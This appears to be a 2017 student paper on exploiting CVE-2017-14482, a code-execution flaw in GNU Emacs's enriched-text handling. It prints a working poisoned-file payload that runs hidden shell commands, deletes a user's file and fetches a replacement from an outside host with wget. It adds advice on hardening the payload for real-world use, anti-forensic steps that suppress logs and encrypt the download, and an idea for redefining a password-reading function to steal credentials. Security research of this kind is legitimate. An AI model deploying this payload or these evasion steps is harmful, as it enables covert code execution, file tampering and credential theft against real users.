Exploiting a Known Vulnerability in GNU Emacs

Alexander K. Kellermann Nieves

December 5th, 2017

Abstract

Published on September 14th, 2017, CVE–2017–14482 [1] details a vulnerability in how GNU Emacs handles enriched text documents. The vulnerability details how the error is caused by Emacs's implementation of a custom enriched text tag `<x-display>`. By carefully constructing a sequence of commands, it is possible to circumvent Emacs's protections against evaluating non-display code and run arbitrary commands.

1 Understanding Emacs

In Emacs, there are two main ways of launching and interacting with the editor. There is a client server architecture, where the user can launch the editor with the command `emacs --daemon`, and then client sessions can connect with the command `emacsclient`. This is a fairly common set up, however, it is not possible to guarantee persistence as Emacs does not force users to choose this approach. Users can also use Emacs like any other application, opening it and closing it at will. This forces the need to create an exploit that doesn't rely on the usage of the Emacs daemon.

Emacs users will often craft their set up so that they can 'live' inside of their editor. This makes Emacs particularly interesting for exploitation, as the application is a treasure trove of information. Emacs has two irc clients built in (rcirc, erc), and has a usenet article reader. The usenet article reader is of particular interest, as the vulnerability is executable through a poisoned usenet article. There is also a built in shell, an Emacs shell, built

in commands for creating encrypted networking connections, and convenient abstractions so that platform specific code is mostly unnecessary.

2 Understanding the vulnerability

CVE-2017-14482 is about Emacs and its handling of enriched text documents. The file of interest is located in `/emacs[version]/lisp/textmodes/enriched.el`. Inside of `enriched.el` is function `enriched-decode-display-prop` which will evaluate any code that is determined to be display code. What Emacs considers to be display code is scattered throughout the source, and is out of the scope of this paper. The proof of concept [3] which triggered the creation of CVE-2017-14482 explains that the function can be tricked to evaluate shell commands, but doesn't give any examples. The majority of the time getting the exploit to work was spent figuring out how to craft a construct that would allow execution of arbitrary shell commands.

3 Crafting the exploit

Below is the code allowing arbitrary elisp to be run.

```
(when
    (progn
      (message "hacked")
      (start-file-process-shell-command "firefox" nil "nohup
    firefox")
      (start-file-process-shell-command "deleter" nil "rm ~/main.c")
      (start-file-process-shell-command "asuh3e" nil "wget -O ~/main.c
    https://p.teknik.io/Raw/gnU0w")
      (sleep-for 3)
      (kill-buffer)
      (find-file "~/main.c")
      ))
```

The code follows this basic structure:

- Start the code with a when loop. Using an if loop will be caught by the function as invalid display code and execution will stop.

- Use the `progn` function. `Progn` is the key to the exploit, as it is not caught by the decoding function as invalid display code. `Progn` allows for an infinite amount of arguments, and each argument supplied to the expression is evaluated. The last arguments return value is passed up to the calling function, but this is unimportant for the purposes of the exploit.

- The message function logs a message to the *Messages* command interpreter buffer (comint buffer) if called by a script, or to the minibuffer if called interactively.

- `Start-file-process` is a function that allows the user to start an asynchronous process, which is important because we do not want to alert the user that a process is being started, so we can run this in the background. The arguments are the name of the process, the name of the buffer (this is set to nil because we don't want any of our activity to be logged). The third argument is the shell command. I pass in the nohup prefix so that the process can persist outside of Emacs.

- Same function as previous, but it deletes a file that's going to be replaced later in the code. This part of the exploit relies on the differences between a buffer and a file to work. We're replacing the file that we're operating on, but since the user is looking at a buffer (which is a copy of the file, but not forced to stay up to date with the file), the user won't be alerted that their file is being changed, as long as the user doesn't save while the next command is being ran.

- This line downloads the replacement file. In practice, this can be used to download another payload if the exploiter wished. In this context it's used to replace the file the exploit was written in to delete evidence of a poisoned file.

- `Sleep-for` is a command used to pause execution, which needs to be used because the previous command is run asynchronously.

- `Kill-buffer` is used to kill the buffer the user is current visiting, because of how this file is crafted, it means the user should never be viewing the buffer in the first place.

- The `find-file` function is used to get Emacs to switch to a new buffer and fill the buffer with the contents of the file that's just been downloaded.

The above codes works for demonstration purposes, but it has several flaws that makes is undesirable for real-world usage.

- The start-file-process command will prompt the user to kill the current process when he/she exists Emacs. The process will continue to exist regardless of the choice taken, but writing of this part of the project, or a careful choosing of a payload must be down to mitigate the effects of this.
- If you use `wget` correctly, you will not need to delete the file using a separate line
- If you're going to use the internet to host your payload, make sure to switch this function over to a synchronous one. The only reason I didn't was due to time constraints. If you switch to a synchronous function, the proceeding line is rendered unnecessary as Emacs will block until the `wget` command has finished execution

4 Packaging the exploit

Since this exploit relies on the use of a broken text-mode, we need to make sure Emacs will use this mode. We can do this by adding the following two lines to the poisoned file.

```
Content-Type: text/enriched
Text-Width: 70
```

That's it for the first two lines. What we need to add next is our `<x-display>` tags. Between those tags I'm going to add a set of `<param>` tags.

```
<x-display><param>(when (message "hello world") nil)
</param>test</x-display>
```

Note that although the above code is two lines, in the real file, it should all be one line, with no space between the final closing parenthesis and the following tag. The code above was taken from the mailing list email that first described the message (See References).

If we package the vulnerability in the previous section according to the style guide for this exploit it would look like:

```
Content-Type: text/enriched
Text-Width: 70

<x-display><param>(when(progn(message "hacked")
(start-file-process-shell-command "firefox" nil
"nohup firefox")(start-file-process-shell-command
"deleter" nil "rm ~/main.c")(start-file-process-shell-command
"asuh3e" nil "wget -O ~/main.c https://p.teknik.io/Raw/gnU0w")
(sleep-for 3)(kill-buffer)(find-file "~/main.c")))</param>test
</x-display>
```

Of course, the above code doesn't make the transition to a LaTeX document very gracefully, but in practice, all the code would be on one line to work properly.

5 Forensics Concerns

Emacs's default behavior is to log most activity that occurs, especially error messages, into the *Messages* comint buffer mentioned earlier. There are ways to toggle the *Messages* buffer to stop recording messages. The most compact way of doing so is by setting the variable `message-log-max` to `nil`.

```
(setq message-log-max nil) ;; Set no messages to be logged.
(kill-buffer "*Messages*") ;; force settings to be applied.
```

But that's not the only forensic tool that could be used to track what's being done in this exploit. The `nohup` command leaves a file called `nohup.out` behind, so that needs to be removed. Since wget was used to download a file from the internet, wget leaves some network traffic that could be picked up

by a firewall. And if choosing to download a payload from the internet, make sure that traffic is encrypted, this could be accomplished by using GnuTLS. Emacs has built in support for GnuTLS, so minimal set up would be required, but this set up is beyond the scope of this paper.

6 Elisp Security Concerns

Emacs is written in both C and its own in-house elisp programming language. The elisp programming language has been widely criticized for its slowness, and more importantly, its choice to put every symbol into the global namespace. There are ways of having Emacs pretend that certain variables are local, but in practice this is a bytecode compiler warning rather than an enforcement of namespace locality. The use of `setq-local` and its variants are to provide a pseudo locality, but code can be run outside of the byte compiler, this provides no real security in practice. All code that relies on a byte compiled counterpart can be replaced with non byte compiled code on the fly, local variables to be only a convenience to programmers, rather than a hindrance to exploiters.
Continuing with the knowledge that all symbols can be redefined dynamically, there's little stopping a user from dynamically changing entire functions. The `read-passwd` function used by Emacs' IRC clients, and it's TRAMP mode use this function to read passwords. If a malicious user wished to, they could redefine this function and use it to collect the passwords of their targets.

7 Final Remarks

Any Text-Editor that has useful extensiblilty is vulnerable to attacks like this. The netrw functionality in Vim is notorious for leaking user credentials and not sanitizing inputs. In Sublime text, it's possible to gain shell access through the python and use of python's `os` or `subprocess` modules. This doesn't mean developers should stray away from extensible text editors, but they should be aware of the dangers they present. Since the exploit presented in this paper can be package can be packaged in almost any form, it demonstrates that the developer must always be aware of the source of any file he's opening, even if it's a text file.

This exploit could be pulled off through usenet articles as well as through email. Not to suggest that every piece of text should be run through `cat` before being opened in a more powerful editor, it does serve as a reminder that no matter how benign it might seem, it's important to always be aware of the source of any material that's being viewed or consumed over the internet. This exploit would be difficult to pull off if the attacker had a specific threat in mind, unless the attacker was an insider with specific knowledge about an Emacs user and their editing habits. In practice, it's highly unlikely that this exploit could be used to pull off the next major hack, but this paper serves as a demonstration of how deadly evaluation statements are, especially when placed into non-user facing code.

References

[1] (2017, September) Cve-2017-14482. NIST. [Online]. Available: https://nvd.nist.gov/vuln/detail/CVE-2017-14482#VulnChangeHistoryDiv

[2] F. S. Foundation. (2017) Gnu emacs. [Online]. Available: https://www.gnu.org/software/emacs/

[3] A. C. Roelli. (2017, September) enriched.el code execution. [Online]. Available: https://debbugs.gnu.org/cgi/bugreport.cgi?bug=28350